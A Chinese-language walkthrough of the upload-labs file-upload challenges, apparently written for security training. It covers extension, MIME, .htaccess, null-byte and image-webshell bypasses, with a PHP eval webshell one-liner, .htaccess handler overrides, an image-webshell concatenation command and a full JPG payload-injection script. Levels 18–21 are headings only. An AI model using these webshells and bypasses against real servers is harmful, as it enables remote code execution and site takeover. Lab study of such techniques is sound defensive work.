1-11黑名单,12-21白名单

注意:我的upload是现下的GitHub源代码,是最新版,和以前的版本有些许不同,从第五关开始到二十一关,21=老版本20,20=老版本19依次类推。老版本绕过大致如下图:
image.png

一、前段JS检测

浏览器端对上传的文件后缀名进行检测,如果不符合就弹出JS警告,这个过程不对外发包,所以无法通过抓包修改后缀名去绕过。

常规绕过

将一句话木马php文件后缀名改为.jpg,上传通过前端校验,抓包并修改后缀名为php
image.png
image.png
蚁剑连接
image.png

禁用JS方法绕过

这里直接在设置里面禁用JS也可以,Chrome中禁止JS如下:
image.png
image.png
Firefox中禁止JS设置如下:
image.png

修改前端文件

删掉onsubmit=”return checkFile()禁止触发js函数,在chrome中不成功,在Firefox中成功。
image.png

二、MIME检测(Content-Type)

MIME检测的是数据包content-type字段。常见的图片格式的MIME类型有以下几种类型:
PNG图像:image/png
GIF图形: image/gif
JPG图形:image/jpeg
如下,将Content-TYpe修改为符合MIME检测的image/gif、image/png、image/jpeg其中一个就可以了
image.png
image.png

三、黑名单绕过

其他被解析后缀名绕过(Apache解析漏洞)

不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀,如.php .phtml .phps .php5 .pht
image.png
虽然文件名被赋予随机值,但仍然能解析
image.png
将phpinfo语句改为一句话木马语句上传后,蚁剑照常连接木马文件
image.png
前提是apache的httpd.conf中有如下配置代码

  1. AddType application/x-httpd-php .php .phtml .phps .php5 .pht

四、.htaccess绕过

黑名单特别多,php的别名也被禁止了,我们尝试使用上传一个【.htaccess】配置文件,将muma.png图片当作php代码进行解析
image.png

.htaccess文件

.htaccess文件代码可编写如下,这个.htaccess的意思就是把所有名字里面含有muma.png(名字随便取)的文件当成php脚本来执行

注意

.htaccess文件就是.htaccess文件,如果你将它改为muma.htaccess或者其他的名字是无法解析的。在实战中有可能上传上去这个文件会被自动重命名(如第三关给上传的文件赋予新的随机时间戳名字),被重命名了就无法再使用.htaccess文件。

  1. <FilesMatch "muma.png">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

image.png
上传一个名为muma.png的一句话木马文件
image.png
image.png

.htaccess的另一种变种

将上传文件清空后重新尝试写入.htaccess文件
.htaccess的另一种写法,这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析

  1. <FilesMatch "muma.png">
  2. AddType application/x-httpd-php .png
  3. </FilesMatch>

image.png
如果以上操作都弄好了,还是出不来,还是去改phpstudy配置文件,其他选项菜单—打开配置文件—-httpd.conf,按照如图的设置将该参数改为all,再重启Apache服务即可。
image.png

五、空格.绕过

过滤了其他后缀名和.htaccess
使用大小写尝试了下无法绕过,源代码中有转换为小写的代码,我下的是最新版GitHub源代码所以应该是版本问题。要是能大小写绕过则使用大小写结合的后缀名即可,如Php、pHp、phP等等排列组合都行。
看源代码只说去除末尾点,那么将文件后缀名改为如【1.php. .】的格式去尝试绕过

验证原理

源代码检测到有一个点,会把这个点去掉,又发现有一个空格,也会把这个空格去掉,我们这时还有一个点,也就成了【.php.】 由于源代码只验证一次,所以不会在去掉第二个点,这时就可以上传成功,也可以解析成功
image.png
image.png

原理

Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点此处会删除末尾的点

六、大小写绕过

image.png
源代码能看出没有强制将大写转换为小写,所以我们可以上传纯大写或者大小写结合的后缀名
使用大小写结合的后缀名即可,如Php、pHp、phP等等排列组合都行。
image.png
image.png

七、空格绕过

源代码没有过滤空格,在后缀名后加一个空格
image.png

八、点绕过

源代码没有过滤点,在后缀名后添加点绕过即可。吐槽一句这第五关和第八关是不是颠倒了?不应该先易后难吗?
image.png

九、::$DATA绕过

源代码显示位后端校验、黑名单、过滤大小写、过滤点和空格、文件名随机
image.png
在php后面添加【::$DATA】,info.php::$DATA
image.png

十、和第五关重复

源代码显示位后端校验、黑名单、过滤大小写、过滤点和空格、过滤::$DATA流文件
image.png
和第五关一样
image.png

十一、双写绕过

上传一个1.php上去,上传后变为1,后缀名被删除了,说明有敏感字过滤
image.png
查看源代码,str_ireplace()函数用于替换,如:

  1. <?php
  2. echo str_ireplace("WORLD","Shanghai","Hello world!");
  3. ?>

trim()函数: 移除字符串两侧的空白字符和其他字符。
结合起来就是搜索对应的关键词替换掉,但只搜索和替换一次。
image.png
使用【. .】无法绕过
image.png
info.php::$DATA无法绕过,大小写无法绕过,双写绕过成功。
image.png

十二、00截断(GET)

从这里开始到最后开始使用了白名单。但是这里有一个$_GET[‘save_path’]用get来传递参数后面再加上后缀名,可以用%00截断,但也有条件限制

00截断条件

  1. php版本要小于5.3.45.3.4及以上已经修复该问题
  2. magic_quotes_gpc需要为OFF状态

上传文件,上传以.jpg、.png、.gif等图片格式为后缀名的文件。
可看到:save_path=../upload/ 保存路径为/upload/info.php%00 info.jpg,%00截断,导致后面的info.jpg被丢弃,就成功上传了前面的info.php
尝试失败,发现原因是php版本太高了,这里php版本要低于5.3才行。5.4版本会上传失败。
image.png
切换为5.2.17版本继续尝试,把magic_quotes_gpc去除勾选,再次尝试
image.png
上传后的文件为/upload/muma.php%00/4920220318105551.jpg。%00截断,导致只剩下/upload/muma.php,成功上传并且绕过了文件重命名
image.png

十三、POST传参00截断

同GET传参一样,但需要编码,因为GET是URL中的,会将URL编码的符号自动URL解码,而POST不会自动URL解码,需要我们手动解码。
image.png
选择%00,右键选择为URL-decode(解码),%00会被解析为空
image.png
image.png

十四、图片马

制作图片马

提示上传图片马,制作一个图片马,制作教程这里不赘述了,准备一个图片文件(jpg、png、gif)一个木马文件(php、jsp、asp、aspx),一条命令把两个文件拼成一个图片,注意:前后顺序不能变,木马必须被插入到图片尾部。原因:
部分上传特性及其原理(应该算重要知识)

  1. copy picture.jpg /b + shell.php /a muma.jpg

制作完的图片马能正常显示图片,但使用hex编码能查看发现末尾带有一句话木马语句。
image.png

访问图片马

上传后还没完,题目提示文件包含咯度运行图片马中的恶意代码。
image.png
查看源代码,里面有一个include.php文件,里面含有一个文件包含动态参数——file。文件包含原理上传学完后就会开始学习。
image.png
直接访问和使用文件包含访问结果截然不同。
image.png
image.png

连接图片马

蚁剑连接一句话木马,有时候如果图片太大或者生成图片马时莫名其妙的问题会导致图片马无法连接,多生成几个图片马多试试就可以。
image.png

十五、图片马

和十四一样。
image.png
多了个getimagesize函数,这个函数的意思是:会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的,我们将PHP代码插入到图片末尾就能绕过检测。

十六、图片马

image.png
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
需要开启php_exif()
image.png
使用文件幻术即可绕过

  1. GIF89a<?php eval($_POST['test']); ?>

十七、图片马(二次渲染)

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])){
  4. // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
  5. $filename = $_FILES['upload_file']['name'];
  6. $filetype = $_FILES['upload_file']['type'];
  7. $tmpname = $_FILES['upload_file']['tmp_name'];
  8. $target_path=UPLOAD_PATH.'/'.basename($filename);
  9. // 获得上传文件的扩展名
  10. $fileext= substr(strrchr($filename,"."),1);
  11. //判断文件后缀与类型,合法才进行上传操作
  12. if(($fileext == "jpg") && ($filetype=="image/jpeg")){
  13. if(move_uploaded_file($tmpname,$target_path)){
  14. //使用上传的图片生成新的图片
  15. $im = imagecreatefromjpeg($target_path);
  16. if($im == false){
  17. $msg = "该文件不是jpg格式的图片!";
  18. @unlink($target_path);
  19. }else{
  20. //给新图片指定文件名
  21. srand(time());
  22. $newfilename = strval(rand()).".jpg";
  23. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  24. $img_path = UPLOAD_PATH.'/'.$newfilename;
  25. imagejpeg($im,$img_path);
  26. @unlink($target_path);
  27. $is_upload = true;
  28. }
  29. } else {
  30. $msg = "上传出错!";
  31. }
  32. }else if(($fileext == "png") && ($filetype=="image/png")){
  33. if(move_uploaded_file($tmpname,$target_path)){
  34. //使用上传的图片生成新的图片
  35. $im = imagecreatefrompng($target_path);
  36. if($im == false){
  37. $msg = "该文件不是png格式的图片!";
  38. @unlink($target_path);
  39. }else{
  40. //给新图片指定文件名
  41. srand(time());
  42. $newfilename = strval(rand()).".png";
  43. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  44. $img_path = UPLOAD_PATH.'/'.$newfilename;
  45. imagepng($im,$img_path);
  46. @unlink($target_path);
  47. $is_upload = true;
  48. }
  49. } else {
  50. $msg = "上传出错!";
  51. }
  52. }else if(($fileext == "gif") && ($filetype=="image/gif")){
  53. if(move_uploaded_file($tmpname,$target_path)){
  54. //使用上传的图片生成新的图片
  55. $im = imagecreatefromgif($target_path);
  56. if($im == false){
  57. $msg = "该文件不是gif格式的图片!";
  58. @unlink($target_path);
  59. }else{
  60. //给新图片指定文件名
  61. srand(time());
  62. $newfilename = strval(rand()).".gif";
  63. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  64. $img_path = UPLOAD_PATH.'/'.$newfilename;
  65. imagegif($im,$img_path);
  66. @unlink($target_path);
  67. $is_upload = true;
  68. }
  69. } else {
  70. $msg = "上传出错!";
  71. }
  72. }else{
  73. $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
  74. }
  75. }

判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,二次渲染中GIF特性就是不改变,所以gif只需要找到渲染前后没有变化的位置,然后将php代码写进去,jpg和png则麻烦的多。

手动

将以下gif图片上传,然后下载上传后的图片,使用010 Editer对比文件
tec.gif
image.png

脚本

  1. <?php
  2. /*
  3. The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
  4. It is necessary that the size and quality of the initial image are the same as those of the processed image.
  5. 1) Upload an arbitrary image via secured files upload script
  6. 2) Save the processed image and launch:
  7. jpg_payload.php <jpg_name.jpg>
  8. In case of successful injection you will get a specially crafted image, which should be uploaded again.
  9. Since the most straightforward injection method is used, the following problems can occur:
  10. 1) After the second processing the injected data may become partially corrupted.
  11. 2) The jpg_payload.php script outputs "Something's wrong".
  12. If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
  13. Sergey Bobrov @Black2Fan.
  14. See also:
  15. https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
  16. */
  17. $miniPayload = "<?=phpinfo();?>";
  18. if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
  19. die('php-gd is not installed');
  20. }
  21. if(!isset($argv[1])) {
  22. die('php jpg_payload.php <jpg_name.jpg>');
  23. }
  24. set_error_handler("custom_error_handler");
  25. for($pad = 0; $pad < 1024; $pad++) {
  26. $nullbytePayloadSize = $pad;
  27. $dis = new DataInputStream($argv[1]);
  28. $outStream = file_get_contents($argv[1]);
  29. $extraBytes = 0;
  30. $correctImage = TRUE;
  31. if($dis->readShort() != 0xFFD8) {
  32. die('Incorrect SOI marker');
  33. }
  34. while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
  35. $marker = $dis->readByte();
  36. $size = $dis->readShort() - 2;
  37. $dis->skip($size);
  38. if($marker === 0xDA) {
  39. $startPos = $dis->seek();
  40. $outStreamTmp =
  41. substr($outStream, 0, $startPos) .
  42. $miniPayload .
  43. str_repeat("\0",$nullbytePayloadSize) .
  44. substr($outStream, $startPos);
  45. checkImage('_'.$argv[1], $outStreamTmp, TRUE);
  46. if($extraBytes !== 0) {
  47. while((!$dis->eof())) {
  48. if($dis->readByte() === 0xFF) {
  49. if($dis->readByte !== 0x00) {
  50. break;
  51. }
  52. }
  53. }
  54. $stopPos = $dis->seek() - 2;
  55. $imageStreamSize = $stopPos - $startPos;
  56. $outStream =
  57. substr($outStream, 0, $startPos) .
  58. $miniPayload .
  59. substr(
  60. str_repeat("\0",$nullbytePayloadSize).
  61. substr($outStream, $startPos, $imageStreamSize),
  62. 0,
  63. $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
  64. substr($outStream, $stopPos);
  65. } elseif($correctImage) {
  66. $outStream = $outStreamTmp;
  67. } else {
  68. break;
  69. }
  70. if(checkImage('payload_'.$argv[1], $outStream)) {
  71. die('Success!');
  72. } else {
  73. break;
  74. }
  75. }
  76. }
  77. }
  78. unlink('payload_'.$argv[1]);
  79. die('Something\'s wrong');
  80. function checkImage($filename, $data, $unlink = FALSE) {
  81. global $correctImage;
  82. file_put_contents($filename, $data);
  83. $correctImage = TRUE;
  84. imagecreatefromjpeg($filename);
  85. if($unlink)
  86. unlink($filename);
  87. return $correctImage;
  88. }
  89. function custom_error_handler($errno, $errstr, $errfile, $errline) {
  90. global $extraBytes, $correctImage;
  91. $correctImage = FALSE;
  92. if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
  93. if(isset($m[1])) {
  94. $extraBytes = (int)$m[1];
  95. }
  96. }
  97. }
  98. class DataInputStream {
  99. private $binData;
  100. private $order;
  101. private $size;
  102. public function __construct($filename, $order = false, $fromString = false) {
  103. $this->binData = '';
  104. $this->order = $order;
  105. if(!$fromString) {
  106. if(!file_exists($filename) || !is_file($filename))
  107. die('File not exists ['.$filename.']');
  108. $this->binData = file_get_contents($filename);
  109. } else {
  110. $this->binData = $filename;
  111. }
  112. $this->size = strlen($this->binData);
  113. }
  114. public function seek() {
  115. return ($this->size - strlen($this->binData));
  116. }
  117. public function skip($skip) {
  118. $this->binData = substr($this->binData, $skip);
  119. }
  120. public function readByte() {
  121. if($this->eof()) {
  122. die('End Of File');
  123. }
  124. $byte = substr($this->binData, 0, 1);
  125. $this->binData = substr($this->binData, 1);
  126. return ord($byte);
  127. }
  128. public function readShort() {
  129. if(strlen($this->binData) < 2) {
  130. die('End Of File');
  131. }
  132. $short = substr($this->binData, 0, 2);
  133. $this->binData = substr($this->binData, 2);
  134. if($this->order) {
  135. $short = (ord($short[1]) << 8) + ord($short[0]);
  136. } else {
  137. $short = (ord($short[0]) << 8) + ord($short[1]);
  138. }
  139. return $short;
  140. }
  141. public function eof() {
  142. return !$this->binData||(strlen($this->binData) === 0);
  143. }
  144. }
  145. ?>

image.png

十八、条件竞争

十九、条件竞争

二十、/.绕过

二十一、数组+/.绕过